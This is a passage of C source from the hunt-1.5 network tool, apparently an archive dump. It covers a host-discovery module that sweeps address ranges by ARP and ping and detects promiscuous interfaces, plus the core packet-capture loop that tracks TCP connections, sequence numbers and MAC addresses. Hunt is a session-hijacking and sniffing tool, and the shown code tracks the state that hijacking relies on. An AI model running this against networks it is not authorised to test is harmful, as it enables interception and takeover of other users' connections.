fake_mac, my_eth_mac))) { idx = ntohl(src_addr) - ntohl(hui->start_addr); up[idx] = 1; host_lookup(src_addr, HL_MODE_DEFERRED); } packet_free(p); } printf("."); fflush(stdout); } printf("\n"); } static void send_arp_message(unsigned int ip, char *dst_mac) { struct arp_spec as; as.src_mac = my_eth_mac; as.dst_mac = dst_mac; as.oper = htons(ARPOP_REQUEST); as.sender_mac = my_eth_mac; as.sender_addr = my_eth_ip; as.target_mac = mac_zero; as.target_addr = ip; send_arp_packet(&as); } /* * it will be good idea to turn off the mac discoverer daemon */ static void perform_arp(struct host_up_info *hui, int count, int *up, unsigned char *fake_mac) { int j, idx; unsigned int ip, src_addr; struct arpeth_hdr *arpethh; struct timeval tv; struct timespec timeout; struct packet *p; printf("arp"); fflush(stdout); for (j = 1; j <= count; j++) { for (ip = hui->start_addr; ntohl(ip) <= ntohl(hui->end_addr); ip = htonl(ntohl(ip) + 1)) { idx = ntohl(ip) - ntohl(hui->start_addr); if (!up[idx]) { if (!fake_mac) send_arp_message(ip, mac_broadcast); else send_arp_message(ip, fake_mac); } } /* listen some time for reply */ gettimeofday(&tv, NULL); timeout.tv_sec = tv.tv_sec + 2; timeout.tv_nsec = tv.tv_usec * 1000; /* the received packets are ARP_REPLY - and from expected range from func_arp_packet */ while ((p = list_consume(&l_arp_packet, &timeout))) { arpethh = (struct arpeth_hdr *)(p->p_arph + 1); src_addr = *(unsigned int *) arpethh->ar_sip; if (memcmp(arpethh->ar_sha, p->p_ethh->h_source, ETH_ALEN) == 0 && memcmp(my_eth_mac, p->p_ethh->h_dest, ETH_ALEN) == 0 && memcmp(my_eth_mac, arpethh->ar_tha, ETH_ALEN) == 0 && *(unsigned int *) arpethh->ar_tip == my_eth_ip ) { /* sanity check that it was triggered by as */ idx = ntohl(src_addr) - ntohl(hui->start_addr); up[idx] = 1; host_lookup(src_addr, HL_MODE_DEFERRED); } packet_free(p); } printf("."); fflush(stdout); } printf("\n"); } static void list_host_up(struct host_up_info *hui, int *up) { unsigned int addr, idx; for (addr = hui->start_addr; ntohl(addr) <= ntohl(hui->end_addr); addr = htonl(ntohl(addr) + 1)) { idx = ntohl(addr) - ntohl(hui->start_addr); if ((up && up[idx]) || (!up && (hui->up_ping[idx] || hui->up_arp[idx]))) { printf("UP %s\n", host_lookup(addr, HL_MODE_DEFERRED)); } } } static void list_host_promisc(struct host_up_info *hui, int *promisc) { unsigned int addr, idx; for (addr = hui->start_addr; ntohl(addr) <= ntohl(hui->end_addr); addr = htonl(ntohl(addr) + 1)) { idx = ntohl(addr) - ntohl(hui->start_addr); if ((promisc && promisc[idx]) || (!promisc && (hui->promisc_ping[idx] || hui->promisc_arp[idx]))) { printf("in PROMISC MODE %s\n", host_lookup(addr, HL_MODE_DEFERRED)); } } } void host_up(void) { static unsigned int start_ip_def = 0, end_ip_def = 0; unsigned int start_ip, end_ip; struct ifunc_item ifunc_icmp; struct ifunc_item ifunc_arp; struct host_up_info *hui; struct timespec ts; unsigned int len; unsigned char buf_mac[BUFSIZE], fake_mac[ETH_ALEN]; if ((start_ip = menu_choose_hostname("start ip addr", host_lookup(start_ip_def, HL_MODE_NR))) == -1) return; if ((end_ip = menu_choose_hostname("end ip addr", host_lookup(end_ip_def, HL_MODE_NR))) == -1) return; if ((len = ntohl(end_ip) - ntohl(start_ip) + 1) < 0) { printf("bad addresses\n"); return; } start_ip_def = start_ip; end_ip_def = end_ip; hui = malloc(sizeof(struct host_up_info)); hui->start_addr = start_ip; hui->end_addr = end_ip; hui->up_ping = malloc(sizeof(int) * len); hui->promisc_ping = malloc(sizeof(int) * len); hui->up_arp = malloc(sizeof(int) * len); hui->promisc_arp = malloc(sizeof(int) * len); hui->up_len = len; memset(hui->up_ping, 0, sizeof(int) * len); memset(hui->promisc_ping, 0, sizeof(int) * len); memset(hui->up_arp, 0, sizeof(int) * len); memset(hui->promisc_arp, 0, sizeof(int) * len); switch (menu_choose_char("host up test (arp method) y/n", "yn", 'y')) { case 'y': ifunc_arp.func = func_arp_packet; ifunc_arp.arg = hui; list_enqueue(&l_ifunc_arp, &ifunc_arp); perform_arp(hui, 3, hui->up_arp, NULL); list_remove(&l_ifunc_arp, &ifunc_arp); packet_flush(&l_arp_packet); list_host_up(hui, hui->up_arp); break; } switch (menu_choose_char("host up test (ping method) y/n", "yn", 'y')) { case 'y': printf("mac discovery\n"); mac_discover_range(hui->start_addr, hui->end_addr, 2); ts.tv_sec = 1; ts.tv_nsec = 0; nanosleep(&ts, NULL); ifunc_icmp.func = func_icmp_packet; ifunc_icmp.arg = hui; list_enqueue(&l_ifunc_icmp, &ifunc_icmp); perform_ping(hui, 3, hui->up_ping, NULL); list_remove(&l_ifunc_icmp, &ifunc_icmp); packet_flush(&l_icmp_packet); list_host_up(hui, hui->up_ping); break; } switch (menu_choose_char("net ifc promisc test (arp method) y/n", "yn", 'y')) { case 'y': sprintf_eth_mac(buf_mac, suggest_mac()); if (menu_choose_mac("choose unused MAC in your network", fake_mac, buf_mac) >= 0) { ifunc_arp.func = func_arp_packet; ifunc_arp.arg = hui; list_enqueue(&l_ifunc_arp, &ifunc_arp); perform_arp(hui, 3, hui->promisc_arp, fake_mac); list_remove(&l_ifunc_arp, &ifunc_arp); packet_flush(&l_arp_packet); list_host_promisc(hui, hui->promisc_arp); } break; } switch (menu_choose_char("net ifc promisc test (ping method) y/n", "yn", 'y')) { case 'y': sprintf_eth_mac(buf_mac, suggest_mac()); if (menu_choose_mac("choose unused MAC in your network", fake_mac, buf_mac) >= 0) { ifunc_icmp.func = func_icmp_packet; ifunc_icmp.arg = hui; list_enqueue(&l_ifunc_icmp, &ifunc_icmp); perform_ping(hui, 3, hui->promisc_ping, fake_mac); list_remove(&l_ifunc_icmp, &ifunc_icmp); packet_flush(&l_icmp_packet); list_host_promisc(hui, hui->promisc_ping); } break; } free(hui->up_ping); free(hui->promisc_ping); free(hui->up_arp); free(hui->promisc_arp); free(hui); } hunt-1.5/hunt.c100644 0 0 60612 7113501223 11555 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include #include #include #ifndef IP_OFFMASK #define IP_OFFMASK 0x1fff #endif #ifndef IP_MF #define IP_MF 0x2000 #endif int linksock = -1; int mac_learn_from_ip = 0; int conn_list_mac = 0; int conn_list_seq = 0; struct hash conn_table; struct hash mac_table; int hunt_ready = 0; pthread_mutex_t mutex_hunt_ready = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond_hunt_ready = PTHREAD_COND_INITIALIZER; /* * list of struct packet_info with information which packets skip in process * of updating connection */ struct list l_skip_update = LIST_INIT(struct packet_info, next); /* * lists of functions which pass packets to modules */ struct list l_ifunc_ip = LIST_INIT(struct ifunc_item, next_ip); struct list l_ifunc_tcp = LIST_INIT(struct ifunc_item, next_tcp); struct list l_ifunc_udp = LIST_INIT(struct ifunc_item, next_udp); struct list l_ifunc_icmp = LIST_INIT(struct ifunc_item, next_icmp); struct list l_ifunc_arp = LIST_INIT(struct ifunc_item, next_arp); struct list l_ifunc_fast_tcp = LIST_INIT(struct ifunc_item, next_tcp); /* * * packet operations * */ static struct list l_packets = LIST_INIT(struct packet, p_next_free); int packets_allocated = 0; struct packet *packet_new(void) { struct packet *p; if (!(p = list_pop(&l_packets))) { if (!(p = malloc(sizeof(struct packet)))) { perror("malloc"); return NULL; } pthread_mutex_init(&p->p_mutex, NULL); p->p_use_count = 0; p->p_hdr.p_tcph = NULL; p->p_data = NULL; p->p_type = PACKET_NONE; p->p_ipc = 0; p->p_ipc_arg = NULL; packets_allocated++; } p->p_use_count = 1; return p; } void packet_copy_data(struct packet *dst, struct packet *src) { memcpy(dst->p_raw, src->p_raw, src->p_raw_len); dst->p_raw_len = src->p_raw_len; dst->p_type = src->p_type; dst->p_ethh = (struct ethhdr *)(dst->p_raw + ((char *)src->p_ethh - src->p_raw)); dst->p_iph = (struct iphdr *)(dst->p_raw + ((char *)src->p_iph - src->p_raw)); dst->p_arph = (struct arphdr *)(dst->p_raw + ((char *)src->p_arph - src->p_raw)); dst->p_hdr.p_tcph = (struct tcphdr *)(dst->p_raw + ((char *)src->p_hdr.p_tcph - src->p_raw)); dst->p_data_len = src->p_data_len; dst->p_data = dst->p_raw + (src->p_data - src->p_raw); memcpy(dst->p_arg, src->p_arg, sizeof(src->p_arg)); dst->p_ipc = src->p_ipc; dst->p_ipc_arg = src->p_ipc_arg; } void packet_free(struct packet *p) { int is_free; pthread_mutex_lock(&p->p_mutex); if (--p->p_use_count == 0) is_free = 1; else is_free = 0; pthread_mutex_unlock(&p->p_mutex); if (is_free) list_push(&l_packets, p); } void packet_want(struct packet *p) { pthread_mutex_lock(&p->p_mutex); ++p->p_use_count; pthread_mutex_unlock(&p->p_mutex); } void packet_flush(struct list *l) { struct packet *p; while ((p = list_pop(l))) packet_free(p); } void packet_preallocate(int count) { struct packet **p = alloca(count * sizeof(struct packet *)); int i; for (i = 0; i < count; i++) p[i] = packet_new(); for (i = 0; i < count; i++) packet_free(p[i]); } int packet_count(void) { return list_count(&l_packets); } /* * * TCP connection database * */ static inline void fill_uci(struct user_conn_info *uci, struct packet *p) { uci->src_addr = p->p_iph->saddr; uci->dst_addr = p->p_iph->daddr; uci->src_port = p->p_hdr.p_tcph->source; uci->dst_port = p->p_hdr.p_tcph->dest; } #if 0 static int ht_eq(unsigned int key, struct conn_info *c, struct packet *p) { if (c->src_addr == p->p_iph->saddr && c->dst_addr == p->p_iph->daddr && c->src_port == p->p_hdr.p_tcph->source && c->dst_port == p->p_hdr.p_tcph->dest) return 1; if (c->src_addr == p->p_iph->daddr && c->dst_addr == p->p_iph->saddr && c->src_port == p->p_hdr.p_tcph->dest && c->dst_port == p->p_hdr.p_tcph->source) return 1; return 0; } #endif static int ht_eq(unsigned int key, struct conn_info *c, struct user_conn_info *uci) { if (c->src_addr == uci->src_addr && c->dst_addr == uci->dst_addr && c->src_port == uci->src_port && c->dst_port == uci->dst_port) return 1; if (c->src_addr == uci->dst_addr && c->dst_addr == uci->src_addr && c->src_port == uci->dst_port && c->dst_port == uci->src_port) return 1; return 0; } void remove_conn_if_dont_match(void) { struct hash_iterator hi; struct conn_info *ci; unsigned int key; int count_to_remove = 0; unsigned int *key_to_remove; struct conn_info **ci_to_remove; hash_lock(&conn_table); count_to_remove = 0; key_to_remove = alloca(sizeof(unsigned int) * hash_count(&conn_table)); ci_to_remove = alloca(sizeof(struct conn_info *) * hash_count(&conn_table)); hash_iter_set(&hi, &conn_table); while ((ci = hash_iter_get(&hi, &key))) { if (!conn_add_match(ci->src_addr, ci->dst_addr, ci->src_port, ci->dst_port)) { ci_to_remove[count_to_remove] = ci; key_to_remove[count_to_remove++] = key; } } hash_iter_end(&hi); for ( ; count_to_remove >= 0; count_to_remove--) hash_remove(&conn_table, key_to_remove[count_to_remove], ci_to_remove[count_to_remove]); hash_unlock(&conn_table); } void conn_free(struct conn_info *ci) { int free_it; pthread_mutex_lock(&ci->mutex); if (--ci->use_count == 0) free_it = 1; else free_it = 0; pthread_mutex_unlock(&ci->mutex); if (free_it) free(ci); } struct conn_info *conn_get(struct user_conn_info *uci) { unsigned int key; struct conn_info *ci; key = uci_generate_key(uci); hash_lock(&conn_table); if ((ci = hash_get(&conn_table, key, uci))) { pthread_mutex_lock(&ci->mutex); ++ci->use_count; pthread_mutex_unlock(&ci->mutex); } hash_unlock(&conn_table); return ci; } int conn_exist(struct user_conn_info *uci) { unsigned int key; struct conn_info *ci; key = uci_generate_key(uci); if ((ci = hash_get(&conn_table, key, uci))) return 1; else return 0; } static int packet_match(struct packet_info *pi, struct packet *p) { struct iphdr *iph = p->p_iph; struct tcphdr *tcph = p->p_hdr.p_tcph; if (pi->src_addr == iph->saddr && pi->dst_addr == iph->daddr && pi->src_port == tcph->source && pi->dst_port == tcph->dest && pi->src.next_seq == tcph->seq && pi->src.next_d_seq == tcph->ack_seq && memcmp(pi->src.src_mac, p->p_ethh->h_source, ETH_ALEN) == 0 && memcmp(pi->src.dst_mac, p->p_ethh->h_dest, ETH_ALEN) == 0) return 1; else return 0; } static int conn_skip_update(struct conn_info *ci, struct packet *p) { struct list_iterator iter; struct packet_info *pi; list_iter_set(&iter, &l_skip_update); while ((pi = list_iter_get(&iter))) { if (packet_match(pi, p)) { list_iter_end(&iter); list_remove(&l_skip_update, pi); return 1; } } list_iter_end(&iter); return 0; } static void __conn_add(struct packet *p, unsigned int key) { struct iphdr *iph = p->p_iph; struct tcphdr *tcph = p->p_hdr.p_tcph; struct conn_info *ci; struct host_info *h_src, *h_dst; ci = malloc(sizeof(struct conn_info)); assert(ci); memset(ci, 0, sizeof(struct conn_info)); ci->use_count = 1; pthread_mutex_init(&ci->mutex, NULL); if (ntohs(tcph->dest) >= 1024 && ntohs(tcph->source) < 1024) { ci->src_addr = iph->daddr; ci->dst_addr = iph->saddr; ci->src_port = tcph->dest; ci->dst_port = tcph->source; h_src = &ci->dst; h_dst = &ci->src; } else { ci->src_addr = iph->saddr; ci->dst_addr = iph->daddr; ci->src_port = tcph->source; ci->dst_port = tcph->dest; h_src = &ci->src; h_dst = &ci->dst; } h_src->next_seq = htonl(ntohl(tcph->seq) + p->p_data_len + tcph->syn ? 1 : 0); if (tcph->ack) h_src->next_d_seq = tcph->ack_seq; h_src->window = tcph->window; h_src->id = iph->id; memcpy(h_src->dst_mac, p->p_ethh->h_dest, ETH_ALEN); memcpy(h_src->src_mac, p->p_ethh->h_source, ETH_ALEN); /* guess or try to fill h_dst too */ h_dst->next_seq = h_src->next_d_seq; h_dst->next_d_seq = h_src->next_seq; h_dst->window = tcph->window; h_dst->id = iph->id; memcpy(h_dst->dst_mac, h_src->src_mac, ETH_ALEN); memcpy(h_dst->src_mac, h_src->dst_mac, ETH_ALEN); hash_put(&conn_table, key, ci); print_new_conn_ind(1); } static void ack_storm_notify(struct conn_info *ci, struct user_conn_info *uci) { struct timeval tv; int print_it = 0; if (!ci->ack_storm_notify_sec) { gettimeofday(&tv, NULL); print_it = 1; } else { gettimeofday(&tv, NULL); if (tv.tv_sec - ci->ack_storm_notify_sec >= 10) print_it = 1; } if (print_it) { set_tty_color(COLOR_BRIGHTRED); printf("\nhunt: possible ACK storm: "); print_user_conn_info(uci, 1); set_tty_color(COLOR_LIGHTGRAY); ci->ack_storm_notify_sec = tv.tv_sec; } } static void conn_add_update(struct packet *p) { static struct user_conn_info last_toadd = {0, 0, 0, 0}; static int last_count = 0; unsigned int key; struct conn_info *ci; struct user_conn_info uci; unsigned int old_next_d_seq; fill_uci(&uci, p); key = uci_generate_key(&uci); hash_lock(&conn_table); if ((ci = hash_get(&conn_table, key, &uci)) && ht_eq(key, ci, &uci) == 1) { if (!conn_skip_update(ci, p)) { struct host_info *h_src, *h_dst; struct iphdr *iph = p->p_iph; struct tcphdr *tcph = p->p_hdr.p_tcph; if (ci->src_addr == iph->saddr && ci->dst_addr == iph->daddr && ci->src_port == tcph->source && ci->dst_port == tcph->dest) { h_src = &ci->src; h_dst = &ci->dst; } else { h_src = &ci->dst; h_dst = &ci->src; } old_next_d_seq = h_src->next_d_seq; h_src->next_seq = htonl(ntohl(tcph->seq) + p->p_data_len); if (tcph->ack) h_src->next_d_seq = tcph->ack_seq; h_src->id = iph->id; /* well, this should be in IP updater not in TCP */ h_src->window = tcph->window; /* well these can change too :-) */ memcpy(h_src->dst_mac, p->p_ethh->h_dest, ETH_ALEN); memcpy(h_src->src_mac, p->p_ethh->h_source, ETH_ALEN); /* * ACK storm detection */ h_src->delta_d_seq += ntohl(h_src->next_d_seq) - ntohl(old_next_d_seq); if (++ci->update_count % 400 == 0) { if (ci->src.delta_d_seq == 0 && ci->dst.delta_d_seq == 0) { ack_storm_notify(ci, &uci); } else { ci->src.delta_d_seq = 0; ci->dst.delta_d_seq = 0; } } } } else { /* test if we could add the connection */ if (p->p_data_len > 0) { /* * well, it contains data - add it */ if (conn_add_policy(p->p_iph, p->p_hdr.p_tcph)) __conn_add(p, key); } else { /* * well, check it this way because we don't want * to add RST, ACK to FIN, ... as connectinos. */ if ((last_toadd.src_addr == p->p_iph->saddr && last_toadd.dst_addr == p->p_iph->daddr && last_toadd.src_port == p->p_hdr.p_tcph->source && last_toadd.dst_port == p->p_hdr.p_tcph->dest) || (last_toadd.src_addr == p->p_iph->daddr && last_toadd.dst_addr == p->p_iph->saddr && last_toadd.src_port == p->p_hdr.p_tcph->dest && last_toadd.dst_port == p->p_hdr.p_tcph->source)) { if (++last_count >= 10) { last_count = 0; if (conn_add_policy(p->p_iph, p->p_hdr.p_tcph)) __conn_add(p, key); } } else { last_count = 0; last_toadd.src_addr = p->p_iph->saddr; last_toadd.dst_addr = p->p_iph->daddr; last_toadd.src_port = p->p_hdr.p_tcph->source; last_toadd.dst_port = p->p_hdr.p_tcph->dest; } } } hash_unlock(&conn_table); } static void conn_del(struct packet *p) { struct conn_info *ci; struct user_conn_info uci; unsigned int key; int remove_it = 0; #if 0 fill_uci(&uci, p); key = uci_generate_key(&uci); if ((ci = hash_remove(&conn_table, key, &uci))) { conn_free(ci); } #endif fill_uci(&uci, p); key = uci_generate_key(&uci); hash_lock(&conn_table); if ((ci = hash_get(&conn_table, key, &uci)) && ht_eq(key, ci, &uci) == 1) { if (!conn_skip_update(ci, p)) { if (p->p_iph->saddr == ci->src_addr && p->p_iph->daddr == ci->dst_addr && p->p_hdr.p_tcph->source == ci->src_port && p->p_hdr.p_tcph->dest == ci->dst_port) { /* from source to dest */ if (p->p_hdr.p_tcph->seq == ci->dst.next_d_seq) remove_it = 1; } else { /* from dest to source */ if (p->p_hdr.p_tcph->seq == ci->src.next_d_seq) remove_it = 1; } } } if (remove_it) { if (ci == hash_remove(&conn_table, key, &uci)) conn_free(ci); hash_unlock(&conn_table); } else { hash_unlock(&conn_table); conn_add_update(p); } } static void conn_add(struct packet *p) { struct conn_info *ci; struct user_conn_info uci; unsigned int key; fill_uci(&uci, p); key = uci_generate_key(&uci); hash_lock(&conn_table); if ((ci = hash_get(&conn_table, key, &uci)) && ht_eq(key, ci, &uci) == 1) { conn_add_update(p); #if 0 ci = hash_remove(&conn_table, key, &uci); hash_unlock(&conn_table); conn_free(ci); hash_lock(&conn_table); #endif } else { __conn_add(p, key); } hash_unlock(&conn_table); } static void conn_update_table(struct packet *p, struct ethhdr *ethh, struct iphdr *iph) { struct tcphdr *tcph = p->p_hdr.p_tcph; if (tcph->syn && !tcph->ack) { if (conn_add_policy(iph, tcph)) { conn_add(p); } } else if (tcph->rst || tcph->fin) { #if 0 if (conn_add_policy(iph, tcph)) #endif conn_del(p); } else { #if 0 if (conn_add_policy(iph, tcph)) #endif conn_add_update(p); } } /* * * function lists * */ static void process_tcp(struct packet *p) { struct ifunc_item *li; struct list_iterator iter; list_iter_set(&iter, &l_ifunc_tcp); while ((li = list_iter_get(&iter))) li->func(p, li->arg); list_iter_end(&iter); } static void process_udp(struct packet *p) { struct ifunc_item *li; struct list_iterator iter; list_iter_set(&iter, &l_ifunc_udp); while ((li = list_iter_get(&iter))) li->func(p, li->arg); list_iter_end(&iter); } static void process_icmp(struct packet *p) { struct ifunc_item *li; struct list_iterator iter; list_iter_set(&iter, &l_ifunc_icmp); while ((li = list_iter_get(&iter))) li->func(p, li->arg); list_iter_end(&iter); } static void process_arp(struct packet *p) { struct ifunc_item *li; struct list_iterator iter; list_iter_set(&iter, &l_ifunc_arp); while ((li = list_iter_get(&iter))) li->func(p, li->arg); list_iter_end(&iter); } static void process_ip(struct packet *p) { struct ifunc_item *li; struct list_iterator iter; list_iter_set(&iter, &l_ifunc_ip); while ((li = list_iter_get(&iter))) li->func(p, li->arg); list_iter_end(&iter); } /* * sample of ifunc */ #if 0 struct list m_packet_list = LIST_INIT(struct packet, p_next[MODULE_NR]); void m_func_tcp(struct packet *p) { if (want_it) { packet_want(p); list_produce(&m_packet_list, p); } } #endif static inline void fast_tcp_process(struct packet *p) { struct list_iterator iter; struct ifunc_item *li; list_lock(&l_ifunc_fast_tcp); list_iter_set(&iter, &l_ifunc_fast_tcp); while ((li = list_iter_get(&iter))) li->func(p, li->arg); list_iter_end(&iter); list_unlock(&l_ifunc_fast_tcp); } static void mac_table_update(unsigned int ip, char *mac) { struct mac_info *mi; hash_lock(&mac_table); if ((mi = hash_get(&mac_table, ip, NULL))) { if (memcmp(mi->mac, mac, sizeof(mi->mac))) { pthread_mutex_lock(&mi->mutex); memcpy(mi->mac, mac, sizeof(mi->mac)); pthread_mutex_unlock(&mi->mutex); } } else { mi = malloc(sizeof(struct mac_info)); assert(mi); memcpy(mi->mac, mac, sizeof(mi->mac)); pthread_mutex_init(&mi->mutex, NULL); hash_put(&mac_table, ip, mi); } hash_unlock(&mac_table); } struct mac_info *mac_info_get(unsigned int ip) { struct mac_info *mi; hash_lock(&mac_table); if ((mi = hash_get(&mac_table, ip, NULL))) { pthread_mutex_lock(&mi->mutex); } hash_unlock(&mac_table); return mi; } void mac_info_release(struct mac_info *mi) { pthread_mutex_unlock(&mi->mutex); } static void mac_arp_learn(struct packet *p) { unsigned int ip; char *mac; struct arpeth_hdr *arpethh; arpethh = (struct arpeth_hdr *)(p->p_arph + 1); if (p->p_arph->ar_op == htons(ARPOP_REPLY) || p->p_arph->ar_op == htons(ARPOP_REQUEST)) { ip = *(unsigned int *) arpethh->ar_sip; mac = arpethh->ar_sha; if (memcmp(mac, p->p_ethh->h_source, ETH_ALEN) == 0) mac_table_update(ip, mac); else fprintf(stderr, "ARP: MAC src != ARP src for host %s\n", host_lookup(ip, hl_mode)); } } static void mac_ip_learn(struct packet *p) { unsigned int ip; char *mac; ip = p->p_iph->saddr; mac = p->p_ethh->h_source; mac_table_update(ip, mac); /* * well, don't learn mac addresses from dst as they can be spoofed * (even though check can be made) */ } /* * * hunt * */ unsigned int pkts_received = 0; unsigned int pkts_dropped = 0; unsigned int pkts_unhandled = 0; unsigned int bytes_received = 0; void *hunt(void *arg) { struct packet *p; struct ethhdr *ethh; struct iphdr *iph; #ifdef WITH_RECVMSG struct msghdr msg; struct sockaddr_pkt spkt; struct iovec iov; #endif pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); if (verbose) printf("hunt pid %d\n", getpid()); add_telnet_rlogin_policy(); if (hash_init(&conn_table, 100, (hash_equal_func)ht_eq)) { /* Initialize hash table of connections */ perror("hash_init"); exit(1); } if (hash_init(&mac_table, 100, NULL)) { perror("hash init"); exit(1); } linksock = tap(eth_device, 1); /* Setup link socket */ if (linksock < 0) { perror("linksock"); exit(1); } packet_preallocate(64); printf("starting hunt\n"); setpriority(PRIO_PROCESS, getpid(), -20); pthread_mutex_lock(&mutex_hunt_ready); hunt_ready = 1; pthread_cond_signal(&cond_hunt_ready); pthread_mutex_unlock(&mutex_hunt_ready); while(1) { if (!(p = packet_new())) { fprintf(stderr, "can't get free packet - out of memory\n"); exit(1); } #ifdef WITH_RECVMSG memset(&msg, 0, sizeof(msg)); msg.msg_name = &spkt; msg.msg_namelen = sizeof(spkt); msg.msg_iovlen = 1; msg.msg_iov = &iov; iov.iov_base = p->p_raw; iov.iov_len = sizeof(p->p_raw); if ((p->p_raw_len = recvmsg(linksock, &msg, 0)) >= 0) #else if ((p->p_raw_len = recv(linksock, p->p_raw, sizeof(p->p_raw), 0)) > 0) #endif { pkts_received++; bytes_received += p->p_raw_len; /* * don't do continue or break without packet_free !! */ if (p->p_raw_len < 14) { pkts_dropped++; goto cont; } ALIGNPOINTERS_ETH(p, ethh); p->p_ethh = ethh; /* * in order to speed thinks as mutch as posible for arp stuff * the timestamp is moved to swtich p->p_timestamp = time(NULL); */ p->p_timestamp = 0; switch (ntohs(ethh->h_proto)) { case ETH_P_IP: p->p_timestamp = time(NULL); if (p->p_raw_len < 14 + 20) { pkts_dropped++; goto cont; } ALIGNPOINTERS_IP(ethh, iph); p->p_iph = iph; if (in_cksum((unsigned short *) iph, IP_HDR_LENGTH(iph)) == 0) { if (mac_learn_from_ip) mac_ip_learn(p); process_ip(p); /* drop IP fragments and ip packet len > p_raw_len */ if ((ntohs(iph->frag_off) & IP_OFFMASK) != 0 || (ntohs(iph->frag_off) & IP_MF) || (IP_HDR_LENGTH(iph) + IP_DATA_LENGTH(iph)) > p->p_raw_len) { pkts_dropped++; goto cont; } switch (iph->protocol) { case IPPROTO_TCP: if (p->p_raw_len < 14 + IP_HDR_LENGTH(iph) + 20) { pkts_dropped++; goto cont; } p->p_type = PACKET_TCP; ALIGNPOINTERS_TCP(iph, p->p_hdr.p_tcph, p->p_data); p->p_data_len = TCP_DATA_LENGTH(iph, p->p_hdr.p_tcph); if (ip_in_cksum(iph, (unsigned short *) p->p_hdr.p_tcph, IP_DATA_LENGTH(iph)) == 0) { conn_update_table(p, ethh, iph); fast_tcp_process(p); process_tcp(p); } else pkts_dropped++; break; case IPPROTO_UDP: if (p->p_raw_len < 14 + IP_HDR_LENGTH(iph) + 8) { pkts_dropped++; goto cont; } p->p_type = PACKET_UDP; ALIGNPOINTERS_UDP(iph, p->p_hdr.p_udph, p->p_data); /* check the UDP checksum */ process_udp(p); break; case IPPROTO_ICMP: if (p->p_raw_len < 14 + IP_HDR_LENGTH(iph) + 8) { pkts_dropped++; goto cont; } p->p_type = PACKET_ICMP; ALIGNPOINTERS_ICMP(iph, p->p_hdr.p_icmph, p->p_data); if (in_cksum((unsigned short *) p->p_hdr.p_icmph, IP_DATA_LENGTH(iph)) == 0) { process_icmp(p); } else pkts_dropped++; break; default: pkts_unhandled++; break; } } else pkts_dropped++; /* bad IP checksum */ break; case ETH_P_ARP: if (p->p_raw_len < 14 + 28) { pkts_dropped++; goto cont; } p->p_type = PACKET_ARP; ALIGNPOINTERS_ARP(ethh, p->p_arph); /* do process arp first - in order to do it as fast as posible arpspoof needs it */ process_arp(p); p->p_timestamp = time(NULL); /* well, the process_arp does not get timestamp */ mac_arp_learn(p); break; default: pkts_unhandled++; break; } } cont: packet_free(p); } return NULL; } /* * * helper functions * */ void print_tcp(struct packet *p, struct iphdr *ip, struct tcphdr *tcp) { fprintf(stdout, "%s [%d] seq=(%u) ack=(%u)\t--->\t%s [%d] len=%d/%d\n", host_lookup(ip->saddr, hl_mode), ntohs(tcp->source), (unsigned int) ntohl(tcp->seq), tcp->ack ? (unsigned int) ntohl(tcp->ack_seq) : 0, host_lookup(ip->daddr, hl_mode), ntohs(tcp->dest), p->p_raw_len, p->p_data_len); } static int fill_space_to(char *b, int pos, int where) { if (pos >= 0 && pos < where) { return sprintf(b, "%*s", where - pos, ""); } else return 0; } int conn_list(struct user_conn_info **ruci, char **rbuf, int with_mac, int with_seq) { struct hash_iterator iter; struct conn_info *ci; struct user_conn_info *uci; int i, count; char *b, *b_old, *buf; hash_lock(&conn_table); count = hash_count(&conn_table); if (!count) { hash_unlock(&conn_table); if (ruci) *ruci = NULL; if (rbuf) *rbuf = NULL; return 0; } if (rbuf) { buf = malloc(count * 512); assert(buf); b = buf; } else b = buf = NULL; if (ruci) { uci = malloc(count * sizeof(struct user_conn_info)); assert(uci); } else uci = NULL; i = 0; hash_iter_set(&iter, &conn_table); while ((ci = hash_iter_get(&iter, NULL)) && i < count) { if (b) { b_old = b; b += sprintf(b, "%d) %s [%s]", i, host_lookup(ci->src_addr, hl_mode), port_lookup(ci->src_port, hl_mode)); b += fill_space_to(b, b - b_old, 30); b += sprintf(b, " --> "); b += sprintf(b, "%s [%s]\n", host_lookup(ci->dst_addr, hl_mode), port_lookup(ci->dst_port, hl_mode)); if (with_seq) { b_old = b; b += sprintf(b, " seq=(%u) ack=(%u)", (unsigned int) ntohl(ci->src.next_seq), (unsigned int) ntohl(ci->src.next_d_seq)); b += fill_space_to(b, b - b_old, 45); b += sprintf(b, " seq=(%u) ack=(%u)\n", (unsigned int) ntohl(ci->dst.next_seq), (unsigned int) ntohl(ci->dst.next_d_seq)); } if (with_mac) { b_old = b; b += sprintf(b, " src mac="); b += sprintf_eth_mac(b, ci->src.src_mac); b += fill_space_to(b, b - b_old, 45); b += sprintf(b, " src mac="); b += sprintf_eth_mac(b, ci->dst.src_mac); b += sprintf(b, "\n"); b_old = b; b += sprintf(b, " dst mac="); b += sprintf_eth_mac(b, ci->src.dst_mac); b += fill_space_to(b, b - b_old, 45); b += sprintf(b, " dst mac="); b += sprintf_eth_mac(b, ci->dst.dst_mac); b += sprintf(b, "\n"); } } if (uci) { uci[i].src_addr = ci->src_addr; uci[i].dst_addr = ci->dst_addr; uci[i].src_port = ci->src_port; uci[i].dst_port = ci->dst_port; } i++; } hash_iter_end(&iter); hash_unlock(&conn_table); if (ruci) *ruci = uci; if (rbuf) *rbuf = buf; return count; } void print_mac_table(void) { struct hash_iterator hi; char buf[BUFSIZE]; unsigned int key; struct mac_info *mi; int i = 0; printf("--- mac table ---\n"); hash_iter_set(&hi, &mac_table); while ((mi = hash_iter_get(&hi, &key))) { sprintf_eth_mac(buf, mi->mac); printf("%-24s %s\n", host_lookup(key, hl_mode), buf); if (++i % lines_o == 0) lines_o_press_key(); } hash_iter_end(&hi); } void print_user_conn_info(struct user_conn_info *uci, int count) { int i, ret; for (i = 0; i < count; i++) { ret = printf("%d) %s [%s]", i, host_lookup(uci->src_addr, hl_mode), port_lookup(uci->src_port, hl_mode)); printf("%*s", 25 - ret > 0 ? 20 - ret : 0, ""); printf(" --> "); printf("%s [%s]\n", host_lookup(uci->dst_addr, hl_mode), port_lookup(uci->dst_port, hl_mode)); } } hunt-1.5/macdisc.c100644 0 0 14151 6664056301 12213 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include 